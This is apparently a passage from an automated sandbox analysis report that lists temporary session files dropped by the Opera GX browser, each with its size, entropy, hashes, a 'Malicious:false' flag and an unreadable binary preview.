                                                                                                                                                                                                              Preview:........X8ea7Vsd8FTRtxt13pPLvrldu6YjySq8RD892x4XEPOQ=.....s.;....m..8...p.Iy...r.(.)z....X.u.\.f.....:..*.H\.m..7..;....V..ptY|.*X. .9Nq.....n@l..`.d`|.H. .VR.*.QO.{.F.R._..ch.E...N...z..s.].....`9~d..q...{..O.........p..7...R......... ......8.S..]......VC....k&...5..f...L@..._.\...............ZSu....I.[?..wu..'...gl.4.+..[.....<....lE]...3h.ol.......o..L.KV.T.j...R..+.,....J....{.4....Z........L.Gq.....U..h...<{...=S..ui"....S..^.....1..3.l..*.%..[.!%..F_.}......Jl.ec...T....N.Sc..Wfh.sk&.b7P.;.8.......}A...c..*...Py.WN.(....2."p.)......8...z.ua.=>..z9.../x...N.%' ..../@E.......s..N..........%....M.%.'.n.c....[.g......J.0#D+Z...........Z.6'j-.....d....mz..j.`_...f..`...$.....F...L.D..., $..h...K....--.:..u.<.^......%..3...j....?a..1...g.Qw!.K..?....Z<v...=R|....../......._..l....sm.U.B.K......S-Mfb~.b...;K....&.eo.G.(.........K6......oJ.${{=L...........(.!..f.DGI.........1b5.....XQ7.I....m.k.?G..D.......kH.Y/wAi.Z._.Um......<?U..dZK+.".g

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\6cbfd031-e826-4194-926c-dd7d9d88de4d.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.981538735226568
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D228A0253C7C62627CD5BB59A5F6B479
                                                                                                                                                                                                              SHA1:939485D2B6086B064AE26CEC972F472F81759842
                                                                                                                                                                                                              SHA-256:24838DF085655E134C5E628E2BA661D46C19495DE932E21CC306A313CCDBDAE3
                                                                                                                                                                                                              SHA-512:31783060719A12C759C238B994B78C52DB50CB57C302DCD72E39934CF51BF712CD7BB3EACEEFBCEC0DDA47BD37E83F2737A951C2DF2606960FBA46974B378C56
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XhBo3dsWvqJGyfm2uMVn+zYP9zkOda1Aqxgx8NuZXJGE=............{.Q....'B....[ .A..2.S+?...2...>W....i)...,.~s`SA.........S....@z...*...OJ...\V..1..,.....0/.B.C....{..T.J.........M.r..3..vJsX.".......O.......:.}kY>!.............zZ..<y.{dA...o`RZ..<..O`i.A.c..'(n...2..g....[p.4.....K.f.\{,........lU>_.G]=%E}....8s.5c....[....1.......)..<.._...'|......E..L..~U:...J....n...J.....`...).....jK.e.\...q......Ak.9T/........o..|...1#..'R..L].2...4<O.A..92k..D.a.3.....V*{u...>e.?.O\.....9(......8.,...V.......6.x...X....J....*^...:..z\ ...S.u....I...~k<\P....h..g:...d..g{:.C.e...aK......n.~~T\.D...J.tNN....7a.v.[..j....=|...J..+...T.+b.w.d0.t..1Z...Ln...d.....g..k{G...T...7....h..D...L..V5..A..c..^q.`{'...f...._..W.lV..U..mx...(...A.O..yvf!~.........o(.$.q...hvV#iK.=!d!H..*w^....g6.N..f.f. ,..^...y.F...W.....b$.L.1.(..e.#Z4......E.G.6..=.........D`Uh{..|...6...4i.]........-....u2.v.#.\_...pc.S.h(4Jb&T7;.I.A.`.M\.p'.>..S.[..d<Ry'.T..z....$.y?..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\73142dc8-f086-4ce5-a57f-be2bb3cc3275.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8270
                                                                                                                                                                                                              Entropy (8bit):7.978486164098162
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:FB6F1F27936EC6B43024D4A4FBDB5F58
                                                                                                                                                                                                              SHA1:878D2718A5F23242462DC08AEB49D24729458BBF
                                                                                                                                                                                                              SHA-256:232DE734443344F930EC3F4EEBBEECB18B4B243E142C69960FD55624298BF179
                                                                                                                                                                                                              SHA-512:102D55510E2E57E10F663D29B6FC495870473AA64E7B2B4EA7D77814A597FF2B77B081B4EC3CB865337FF2F97FA9CBAC617A7DB61F2A2CFA3FD84FB8709F269B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xwr0dzpAC4RBVd/86F3OgIRAFPVLqsRt9xBJbxdB8FTI=.......a..'.L.5.f..........Z...'..,..E.......[.gs...k.../..J..s...%....X>.<\w..2H3q.6.u.........7..2..sYE.g.~+..8....&.&f.s{7...|[.L.g.?.0d.9G...j..vr@.{.`..U...%...'../.32'n..,...5....^....:)..c...(Q3........9#.)...C...dH.;>.d.^.j..a.......y..^.....G.....$...K-..;.{...=......|..B..kQ.@V`...R@..\..."C.q.........G. ......X.mM.9......J9f8....<......H6v. ....n....k...;.ie.T.....u.^....I..s.c...k..}........7$nA....*...L.0.!...sd...K..[.;H......+LX...a.5.z1.....K.F......OOA........Z.z./....o..}.........I..."N.9U.?#w..Y.}...z.`.7.B`.MK.-...G..S,]-1.v.k...D+t..F......BP..V..".J.s.@.. ..6...p.>0.)...{.p...dX..u_5....*..&*...%C... x..+T.s/....e{.....V9.M.f..R....]*...o.T..5.W.<.6..b..&.9.InQ 0J...b..kb,.K.=A. .RX....TN...QN......Oe.....6BK...\..c..Ty.... ..H..i..^'.xP...$=#._S.^.s.Zk5H]....,n.1W..>..%,..~..1......F.0H.}.....k.Lsz.R.-...R;.g P.{)..+`.#\ao..]......l..e..w..-.'7.j.......d Q/...a..e.7

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\7484b2b5-8c5a-4640-86d9-68931cf8cacf.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.983730329005233
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:B48264091D87C28AEA15089140FAE9DD
                                                                                                                                                                                                              SHA1:41019C55671C1ABE319FE69EA8EBF191ADEA6EBB
                                                                                                                                                                                                              SHA-256:D15A77743F300E6F8FC8818DCD9F18F24DBE575F08C1DF3A4C128D30E5F6AE56
                                                                                                                                                                                                              SHA-512:1C9AF53E3CB93E5AB8BC3C0E45002DBF6BA1897A56EE2AA90A4FC6CD2DB4D28152B98A9AAA5D897C426C0FDC5129747A045ECEFF45576E767F15CFDE98B2ADAC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XcTCtfKiPMpJb18rcM23kRvhtfsBh09b6GfQqIDot2Vo=..........4..r...4.'....9.E]....0i...P.U., .S...EO...C..X..p...J......C.eG'.....w._.b.zO...p....."....K.c......!5$._X.4$F..k...N(c...ZN8!f.QH..d........Py...y.+S..):.4PdA5V.7LJ.CPP{.C..:/..........S.\^...ul.0.YM.w8.U:.....U5.E..;}L..RTH.....A-.H..&v.k.k2..'.d...>.0LB.....r...}.K.k]....A.U.`.....=]...\..<d.b./......Q.Hl......,P...YV....v..w..+...L.,:=C.G..M...lw.. .,v.|.#"..'..G.3FR~..q....>.......o.D.&... ..\...{j.0.C....m.:...W,:.........j..u~....qRr.",)3......2..j.|%b.Y.#u.........oJs..5|.$..`. 7..m..g......lS^.[Wm.....2Q....b+...q.h..$;y.1.........7..w...?=..-.H...v.. An.`k-NzZT.vLNX...}...y._....Q..>":..!j.]....N....i.........{.yW.4`T+.+....2.<...0.Dzk.#..^...2..T....O.8..{.>......Su.i.e_.-....A......7&......\..)..X...C1'.FJ....|..>.t>.>.@..I.C|...}{.....@U~..J.u...8.C.8...B.U...xa.......~3....i.}...C.>....*].....SL..A....;......W..!z.XJ.Lm.x...........Qq.}.....20......=F."..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\74a5112c-50df-4bd1-b2cf-63361fc22c93.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.982972383075349
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:97316437ECD2C729DBFF707FFEAB6C1C
                                                                                                                                                                                                              SHA1:35966A4164D1E8D302F7CB5488A43039502273F8
                                                                                                                                                                                                              SHA-256:C6DF8B87D7B5F000350643D862200103316C673236EB4ACF4E6B41DF22384322
                                                                                                                                                                                                              SHA-512:972B0100417A49A94B4DC747A0E5CBD5A25E2B0C73FADFE8D42CEFD3E8430724B0E7ABB19246ADF2AE7E79F0A9CD39870488B7C79013F37F6BF47EEC4BC1B557
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XtAFXg+hOq6HdGQaV45Iqt13iCwwhbkidKQ32GfyLWaI=.......e..S=.9.S.....&.O.j:.G..\opua..(..;..`N.......Y..K,?5.S.......{.T.Jt..8...p.`......./%.....{pIdM.2@...../......xOg_.d.H......(....&..Hec.M.8H.yn......-.+.....wV.L2=O.....U..?.~..(c.J.F.e./g'.e}...b)...u....z.T....Q.*..0N.....,$t./..0...{..{...u...z#}.,R.G..]./4.UH.....x.....G....'4....M....u...x)....N....!.0..#....D..g.L....MOy..r......m.2..e.gQ.)D..t.V..-.$..F(......._..7.....P..b.RE?..f.G. i.-.Eh.x..G.f..;..7..Y..0a....9.k...Z.K:... k.......}dq.jk...A......_..._.;.8.0.J..l.C..*.o.#i...?|.Y.&......;..\y.1t*.ir^.......8..n......^.]...j.......#.K.dZ@3.r.}.Ka...*...P+.{.[....Z.....b..yO.@8.....jA..2.....*..:...|....H.Z..fK..y...f..xM.Q).:....!....SK.q.b.r.....c.V.u'.W..=7.B..x..`M.'....n.9.A..^..Y.V........(b$.P.\.s....J....'.3...h.:l.q..t..O....!BR>.D.u.../FP.8|.m.x...%.......X...{buA.kc.A..?...;:.\...Q..CMq.gP.'...^.2......Pow.K.|..l.Q.Mf.#...9N-.ea.Hq..w....m.5.c.....8.!.KY.;.0B.#..27..*.....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\788d5f5c-33e9-416e-a2d5-58a7234d52fb.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8942
                                                                                                                                                                                                              Entropy (8bit):7.98053613405787
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:C40F4301481406CA5E0C5EA8157ACBB2
                                                                                                                                                                                                              SHA1:8FD916851A19FFA8A5C41D2FD65167ACC253AD56
                                                                                                                                                                                                              SHA-256:A3916F43A0324A7B68F9E397DDBB8FB78EE24ADB49C5336D1FDCFD90A1F5AF9B
                                                                                                                                                                                                              SHA-512:259A1E4C29AB7C4B6E87852083858055B9CED977CF9E7E1ABFD6D500FEAD916C9110D02B1F311D2B18513419CFBD1A4A5B58F0352360A3B31F47EE7012D84145
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X1oyS9Copq3Cm/WkwxvYFtNUu/EzHCXaO817Swk66oaU=...............LYD.\i6L9[.3....cki2. ..#.XDf.....)....Y.........H..X......fV.x"u}f!@B...;t/..S.......BK.?. .U.|r.B%..X$3..%....`V...z.[.3.p.b,...E.,..e.y...>. b...wY1....V....}....l~..4.P.R.0.L..jE.\....P..<.s.'q./H.X.|$.#|t..B..w.DW...}p..*-_.H. .wK.*.xs4.....5.W`..xh"e.....;.|...N...L.7.R..o4-../(...%.k3#%.>.I...=C aj...$.....[...].wu....x....$.0...X.\.}7..0..F#4.6........~..........%T.rJ..$.h?.Z...=..T..q.......).<N.,..,..."q...,T.........FZ..#......y.1.W...A...I.A....-Y...BJ*>G.Z..T....q..I8b....z./.%..4.C./U.*.]:...2Q..xy....SQ......oC...9....7......)..l|.&..#.-..[X.eSn...B.)..|_..J%.5...."..m...:...3...d.l.....t...9..$..$..Sf...*.Un.K.u..V(.G..21...3..x.-r.....A60.:.R.RJ....h.R.:X.Db..@.}...q...4........"..//.+.n>%o..m ,.b...J....v..@.{%.[.N.)\.rs.$p.#.*.+'..0Z781....J.i.EAmH....Ad..C.8...s+.+...t8...>#......m.K....[.&...#.@...+..W..w.](....d... .&...$..:.oY...u,..lo....0.?(.C..a.:.'1

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\7a911349-9b93-4278-8a01-879c1e5ea629.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.982431841824335
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:70FC077BC0656B96D14E83E9D2AC33C0
                                                                                                                                                                                                              SHA1:AA9006E26C43721A55FB46C3F2A9EE67E730A9CE
                                                                                                                                                                                                              SHA-256:9949A5C3B249C5CA6D0D1FA0062714478FF40338DF6B76C9E774A7194889D84C
                                                                                                                                                                                                              SHA-512:046702B5D772B7B8A8C308D9DF82A27B046B6B521E532A1B30E735945235134B5229161B9F069E87C8DAED55D39B5C8816040090B7EAC4258AB565D8D7477493
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XvAq1VaYzzuceG0oSxC1vdAkVzoiHMqoJd+bdBriItVM=.........g..;.h./B.f.@.c.>...E.;k.. ...'L..gw..(.h..].q......i.S.w.s.=..W. .^...........P.?+b.I6.^H.....(...p...n...v.i..H.....L... ...a~y.K.t..g.k.o..Jvw.....0>|N....4`.7..#..N.......0.b..$z...n..\.I..d...=n0V.=y2.._...B.|....Ch.5`...vM?^..8.V$Z.wS...2.q..+X:...v.o. .OS..[pc.2\..K....=M.m..K.so.O$!l.<..%c.O.&....9>.A......8.ypg.....,.Fk..s1F.M..%...l.]+....0.z.7.(..\(...?.h..h... ...y......=.~f.[C...u.!.2j..?..a?............qr.A..n.~...m......O.i.I...ID...&.............U....?.xMc.I|....f..,. .Wni(.!.re.o.....d._f.%..3.6.r,.CM....;L.:q3H.(.y].)DB.L.....p......c-H#(:9..p..Y.ya.X....6b..........w...lG./........s.r>[.9_.-..sbTQ.cP..6z.....|i...d#..$.%.%.w@R...n.(..n..)?..W.C.6.V....J..!.C.JsE.n....H..e._B...#.K.....?8....`.-m.}:.;."U.I|7.1z.7r'....*.v....}......L..3..&..4......}..:p3T0...k.....N).?..Xk......Ae..?......78..O...~-.ED.h.A......]v.a*B..,...`..5..1..^.&.b......I..x%...D.].F...O##.|

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\816753d8-92e8-457e-b564-a0b344a98974.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.982616858647467
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:94C104E752F256CDA4ED1EBC9042AA53
                                                                                                                                                                                                              SHA1:601DF6BCA0EF422BF99B759765444833F070F623
                                                                                                                                                                                                              SHA-256:4DBFC63786BA02A7EE8115A1FD56B0F1684603F67F525BB760A00D6F4F90699C
                                                                                                                                                                                                              SHA-512:EB14864B60D08C72B5BB845CB75579BD008131460C5A7FFFE6406C90388C92AAF8D4AFB8FCF0F73773543068C169CF207FE23D5C8FA87E96F827AAFEC633093A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X5OPNobqtdVDS+HoMEzU+d2g6XvHp0b34mjja7XsrDi8=........Yb:........2J...@.9|f.........a..Q.A.lZ.&.....SeI...F.."....S.6A.1..ZR.._.....fy.'r...|$...".....E.......+..N_...z_Bch.$.B.I.qw..L...{./O..o.mL..9_.N..y..z.....12T.".<..../....Ic'}.0......+./9,.O..'iQ.$C........5...!;.r..Gy.t_.@.....o..8......0...+.....-....9.A....?l7.RQ?...........I.0y.q#Q=+0.....X.....0$.........=Bl.MYv...2.0X...T]...iy....c#E.....t..........5.d1.t.......vN9....&.J.,..f>..>..d.....i.d..<.k.r?.Q.......|...a.+.$J....;.e.h`.....,.8.._.Fd.....A..0T.<9.l..j.#m.K..)cJ.>..;S.K>..i(....{Q.p.<uh...9ngTC...1...o.x.q...4....k.\g.......n..7W..6..5H@b..z...z.B.....^......}.n&Zk...........].....#...."w...5.a..51.D...(i...d.K.U.......:........e....@...R$..,;...=v[&..m.......L.z=z.._.=.E].r....S...h.....W....)|..LYK....J}L.....e.N.T..C.0..,..{.=..o.x....8.9..0.....{.S.Lr.F..C>........>...t+.=/,..u..I@......".=.^/R..f1...$kL....P$.#.7.h. d.....jl[..A..AA.=~[...zKT..*4.C..k

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\83b76588-c187-4d3d-be72-f7ca95f37559.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7901
                                                                                                                                                                                                              Entropy (8bit):7.97917809152827
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4DE44CDE331B898F90FB3DE78EE84FE0
                                                                                                                                                                                                              SHA1:3ACA4ABB136D06F8935C0071697754165D957B9D
                                                                                                                                                                                                              SHA-256:4748B86CDAF3882574C305312331A9F91B39B291E9CD10EDC773FC059DBCC28A
                                                                                                                                                                                                              SHA-512:FE7FC702A81B65CDAEB78BA9EFDEAFB98D08C8530F65511707D18EFD49B2D14E516A3C717796CC282B07280AD195EDB909A01066288D219006F2CB4AAAD3619A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XV4U4zi7qL5iu4SovDxV0AtWrbVYmnVjwWli7sU9Rl/U=.....z...k...|..'DL...48{...<L..S.(..x'w|..3......*Y\. ....*T.-...,..w..72....1yvoy...a1.A.@.....^..4_gC.c....n.j..38....<G..d.....t.=..E.0-...Q."_ .\o^..h..(.....u.62....9.Xn..LK.@xj......?.......H.zA.m..B. ex...u......Z...4.T........5.l\.R............/...Ke.y.P...)s..j>...bO~..~......o.9>..8..->..:8`/..y.._s..B.y..d.....2...\.......4.<e$~..VN...h'7.......;.3,.1...A.r...^.=c.25U..Q..rV.(...v..<l..X/....-.....L....G>gS?...h.ARZ.]..k....>..P..M.Q8x........CN..}!....WE.....m....K...h..+/>#....J...H>p.......;.!..j.G...o.....#*...P.H...:.... R.#}]}.W... ..L#%...iW.....D+=..!....i.*j.f...~.+..0U.W.\q.[.h-3...8..........]y..l`{@..[{e.$....Qc..P.s."....8..+-m.p..S.<.).\.MW(Gq|...a.@}.96.\..(....".../lkq....W....>d[..|..)'.0?..S.;.'n.x...4?..."....H.e..6T......b.W........S..].lX.`hm...:..~p.n+6.Q."4Y...y..Q.".".}...F../...j.....!.o.}=-'KN.ie./..k."..JH1fr.X..H.p"..bG..5..T....D.&...i

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\83f71a83-b9ac-415f-ba65-36e1afb87f58.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.977786231505806
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:CB3FC5751CF3400A26C1BFF95C178BF7
                                                                                                                                                                                                              SHA1:E68E57EE9A082F32A02F5C0DEBCFD70A5D13A298
                                                                                                                                                                                                              SHA-256:B40EA559736017CE912F7C8EA2EB1B10DCCC5FC66AB3F314E69EAB56599B6804
                                                                                                                                                                                                              SHA-512:B2C89CF1B832930CC5BACB393986502E747B9D57B50DE91C29190DE64B770725B53529313CAE4583E150FD94ABC37B088A516A1C17E988AF00732BE4FD807EF7
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XwNr5Lj3dkDWY6LPzW3ffapO5NgGWBzjgiM+SZvUq2/c=..........\.+..T5$...>9..!.x....Z...6.H.|l..#..Ub1...$..h.P...m.~.=..b....%._A..-.Z=,. ..pP#..H..(&....X....x:Y.=P.c.YG.C{`....dR.or.\.A..u....k. .m>..]}K'j.....@_.t...y..o.t.2...eCsU.b...@..6).q..w"i.oZ..mo.....+.....yB.......*. .P%..qm..kf...n.o...5.'....GM.%....mP...`$...".%.o.<....l.Q..Co#.l.QT.w.z....H.H...../.F....R.D=....`LfLN:...I.9X!6T.q8..1.R.jR...../.!...d.c.;..D.a.x.=..2..f.qz.V.y...:#....l.s.0......,.BO..9..........D.A..v|...e+..L.;.{D..a.1..<k...Z..1....mqR.......^2..Q2.;,6.0{}\-....o .k@..~.5.4G..t...,a.../v.1.I+.s.az.8....S..57.r1.<.cO.8..RUT.7.\....5...]i..*.....y.L...F.....*6~.N..OeSe....wK....q.....8;b#O.O.. N.(,....'../..Z.T...#?..7R3.~..5..$I...a...<v.........a.^m......E......Z......x.:....g..k.7.&..=...........&Q........qN.%.G$.."_.G...R.M......$U4@.(\._5...3..Ir....&.....OI.]~g..&..q...f(V!q.F.SA<o.7....}...~...&..../46H.N!.....]..g..~y...rZ....5.E.?.x...C.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\86486807-9125-41e7-b967-ecd68328e740.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.979177389275101
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:CB01C85D3E9151DA7CED8963B87159E6
                                                                                                                                                                                                              SHA1:E85BC2602FE1CE8BE9DBD92A50FE6821795F80D6
                                                                                                                                                                                                              SHA-256:DDF9B4143EA49B356B069C627ED6022EE26690416E24DB6CEE61692C2371BD6C
                                                                                                                                                                                                              SHA-512:E9C58756D7E22B02D91BADDD24B03D970E176CFE9C5EB25DD19F1F5720CE94516379DA5DEF04EABA2D41D491FFF185B6DE44D83D74BFE9C0AC89AA7AE41E0E8A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X0L7nSib7k+oSVEOjkFv9/y1OH/dXqb/7k4WvoHnWbmc=........e...t....U...j.'?2.h......Y.t.y.}.a.6.`>.*.)wR.q|.}...D ..a....sq. M..`#2.d.p.B.9...C.2.JQ..p....VX,.,....n.....@].#..OO.0L..o..V...4..<....{.O....H<Q1..5|.....5qJ\.qH./R6..{.h.9..t......P. .\..n........A.Ka.S...........).....v@H.lTp.......I.$...%.e.A.>..c...Z...m...w...B@N.@t......O...c.O....R.8...N.....N*O.O.....Y......d..<5e..1..i..if.V#..y.dsJT...4iqR..|.H......;R......~... .5S..v..Q.$.X.h......3.m07.-...~....|.g..."P.~E.....a....^...,......*...k".)..nO\...&..O...w...^..>.Q....?.;1[.......'..f...E..E.....B..z){....(..#.R.i....!......fYb....9M..dO..e.sb:Tw...h...{mS...}.%K......F.p.|v..Z..Xa..vM.v..$a.8....).U&...A.I...GS....P...<.:..E...p..@....N.........a.0..mfC..y.c../.7.D.5.......>T.....W..(FW.}.&$..z.d*..E..%..6...:.D\..t.A...T.^O64...]........\W..-......L....]n.I=#.b.1..J...1._.{%7......B..I-n.(.l.x.xI..8s...\.h.0...pM.......Y.V.C...p.....i..iM..v...i.9.l9..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\865dc727-18d6-4031-8c45-512efaec449a.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7661
                                                                                                                                                                                                              Entropy (8bit):7.977779534597685
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4DA94C924AD1E097281D532BEE6C1512
                                                                                                                                                                                                              SHA1:E2538B4F26AB4FA04C8106010E9FA95B243B7079
                                                                                                                                                                                                              SHA-256:D07E81F02281497DEB1CF60ED5C81AFB8DE2CEDB868869120623FFF39E7CBA4D
                                                                                                                                                                                                              SHA-512:ACC89EED138364EED7BF846C216294B70B945FD82F4F87850D797FCFF5A2410152E20DAC4EF27A6C289495772F72EE8E3C813E362496ACD997BC27E81548FB96
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XE2kyZito/EGatgVqn9odSBuVE7sY5DP+DMBJyAvo9Ws=.....v....T....8........d..Tf.\.J.a ..=...a.f..uK..r.y..v....1..Pri....B.:+."......s5D,.....w|.h.6...p.......+...7...&.O.G.W.../.".DF...1O.i*^-...>....n.....x.@#..p..P....0rc...Z..U,-..D..iX t..4..{.....g-.S=..W..Y.G*.Zwp....a......?...e......w.....T.$he...*.{y.....]R..T..S..s....2J.V+<...@......s..4*c(..Y55...J.M.......Y................u...E.2....=V...F...f.=..-..y#.......:{gP..k5.!.#..hO?..+K..t.... RB......).\..p.<....,w..............>.Z+..._....9.X...?.>zo.7...'..v.d..S.@......x.N.....1.Q..#..w....C8.Fj......w'.d..WZY..V.....o..>2}d. .x......o...@@..K.....f.n.62.hn#.|....n...|...~5..AvH..l........>................,y..X.......M....Ea|..0l......}.'..My.x.w.......vLY,.)}.9....<l.H.Z."..V.u./....7..Gn6...HCL........."YC..^....s...m..D..V..<.).Hn2h.`.2..D6... >!#IX..j...)..A.......5.Eu...pZ.M.(i....wc...MSd.0:)..8..^.....,.......nUU..KO..!.;`...v....-Wx.se-RN.....*s:.l..P(r../:..8.v.....{nk..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\87f5a7c6-edab-453d-9209-bd099d14d0a6.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.982583610482213
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:135C12D65C2419561E0620B07963B8DD
                                                                                                                                                                                                              SHA1:C7991FF383B6EA146238ECE5363A88F436B66FB3
                                                                                                                                                                                                              SHA-256:007F49A0F01FC510468344D8E1A1206273E2ECE67E1E0A4AAB093CD71CB52418
                                                                                                                                                                                                              SHA-512:7B8628066E2DFFD279E008AE515E2B903657144736A93993C1108990A2C004103F11B6240BFF7C48EEABB618858C4758C9ECC5FF9B43A522D2BED832C033C309
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
